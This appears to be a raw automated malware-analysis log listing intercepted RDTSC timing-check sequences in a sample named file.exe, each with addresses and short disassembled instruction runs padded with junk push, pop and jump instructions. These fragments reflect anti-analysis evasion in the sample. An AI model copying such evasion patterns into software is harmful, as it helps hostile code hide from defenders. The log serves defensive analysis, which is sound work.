Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E9FC second address: E8EA04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EA04 second address: E8EA2F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F34C0CE3852h 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F34C0CE384Bh 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EB9E second address: E8EBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F34C04FCDC6h 0x0000000c jl 00007F34C04FCDC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EBB0 second address: E8EBD4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F34C0CE3846h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F34C0CE3854h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EBD4 second address: E8EBE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EBE5 second address: E8EBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EBE9 second address: E8EBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EBED second address: E8EBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ED4C second address: E8ED50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ED50 second address: E8ED66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F34C0CE384Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EFE3 second address: E8EFF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F34C04FCDC6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93928 second address: E93938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F34C0CE3846h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93938 second address: E93953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDCCh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F34C04FCDC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93953 second address: E9397F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F34C0CE3846h 0x00000008 jbe 00007F34C0CE3846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F34C0CE3857h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93C3A second address: E93C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93C3E second address: E93C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93C49 second address: E93C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDD8h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93C66 second address: E93C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9421D second address: E94223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94223 second address: E9422D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94CE1 second address: E94D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F34C04FCDD5h 0x00000010 jmp 00007F34C04FCDD6h 0x00000015 jnl 00007F34C04FCDC6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98EBD second address: E98EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98EC1 second address: E98EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F34C04FCDCCh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F34C04FCDD5h 0x0000000f jmp 00007F34C04FCDCBh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007F34C04FCDC6h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98EFD second address: E98F07 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F34C0CE3846h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98472 second address: E98490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F34C04FCDD1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98490 second address: E984AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3851h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E985FD second address: E9862D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F34C04FCDC6h 0x00000008 jng 00007F34C04FCDC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F34C04FCDCCh 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 jo 00007F34C04FCDC6h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 popad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9862D second address: E98631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98799 second address: E987BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F34C04FCDC6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F34C04FCDC8h 0x00000014 push esi 0x00000015 jo 00007F34C04FCDC6h 0x0000001b jne 00007F34C04FCDC6h 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1265 second address: EA1270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3EA second address: E9F405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C04FCDD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F405 second address: E9F409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F409 second address: E9F433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F34C04FCDC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F34C04FCDD8h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F57D second address: E9F599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F34C0CE384Ch 0x0000000b pop edx 0x0000000c jne 00007F34C0CE3862h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F599 second address: E9F5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDCEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA014F second address: EA0155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA045A second address: EA0460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0460 second address: EA0468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0728 second address: EA072E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA072E second address: EA0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4414 second address: EA4418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA49C2 second address: EA49EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F34C0CE3853h 0x0000000d push esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jc 00007F34C0CE3846h 0x00000016 pop esi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4B58 second address: EA4B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F34C04FCDD7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4D06 second address: EA4D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F34C0CE3846h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4F9C second address: EA4FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4FA0 second address: EA4FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4FAC second address: EA4FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4FC0 second address: EA4FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4FC4 second address: EA4FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F34C04FCDCEh 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB287F second address: EB2889 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F34C0CE384Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2889 second address: EB2895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F34C04FCDC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB08F8 second address: EB0909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F34C0CE3846h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0909 second address: EB0926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0ADE second address: EB0AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0ED3 second address: EB0EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0EDC second address: EB0EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB14F7 second address: EB14FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB14FD second address: EB1501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1501 second address: EB150B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1FB2 second address: EB1FB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB26CF second address: EB26DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F34C04FCDC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB26DE second address: EB26F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB26F7 second address: EB270B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0437 second address: EB0454 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jno 00007F34C0CE3846h 0x0000000d jmp 00007F34C0CE384Fh 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0454 second address: EB0461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 ja 00007F34C04FCDC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6691 second address: EB6695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA8B0 second address: EBA8BA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F34C04FCDCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCD0A second address: EBCD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F34C0CE3848h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6E74 second address: EC6E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F34C04FCDCEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA14F second address: EDA159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F34C0CE3846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA159 second address: EDA15D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA15D second address: EDA18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE384Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F34C0CE384Fh 0x00000011 jp 00007F34C0CE3846h 0x00000017 pop esi 0x00000018 pushad 0x00000019 jno 00007F34C0CE3846h 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE711 second address: EDE716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE55E2 second address: EE55FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F34C0CE384Fh 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE55FF second address: EE5619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F34C04FCDD2h 0x0000000e ja 00007F34C04FCDC6h 0x00000014 jp 00007F34C04FCDC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5619 second address: EE5625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F34C0CE3846h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5625 second address: EE5629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5937 second address: EE593D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE593D second address: EE5941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5A92 second address: EE5A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5A9B second address: EE5A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5BFA second address: EE5BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5BFE second address: EE5C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5C06 second address: EE5C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE384Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5DBD second address: EE5DD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5DD6 second address: EE5DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5DDC second address: EE5DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4D86 second address: EF4D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4D8B second address: EF4DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F34C04FCDC6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F34C04FCDDCh 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F34C04FCDD4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4C17 second address: EF4C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4C1C second address: EF4C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF73F8 second address: EF7445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F34C0CE3846h 0x0000000a popad 0x0000000b jmp 00007F34C0CE3850h 0x00000010 push edi 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edi 0x00000014 pushad 0x00000015 jmp 00007F34C0CE384Dh 0x0000001a jmp 00007F34C0CE3854h 0x0000001f push eax 0x00000020 pop eax 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7445 second address: EF744F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF744F second address: EF7457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C540 second address: F0C570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F34C04FCDD8h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C0B5 second address: F0C0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
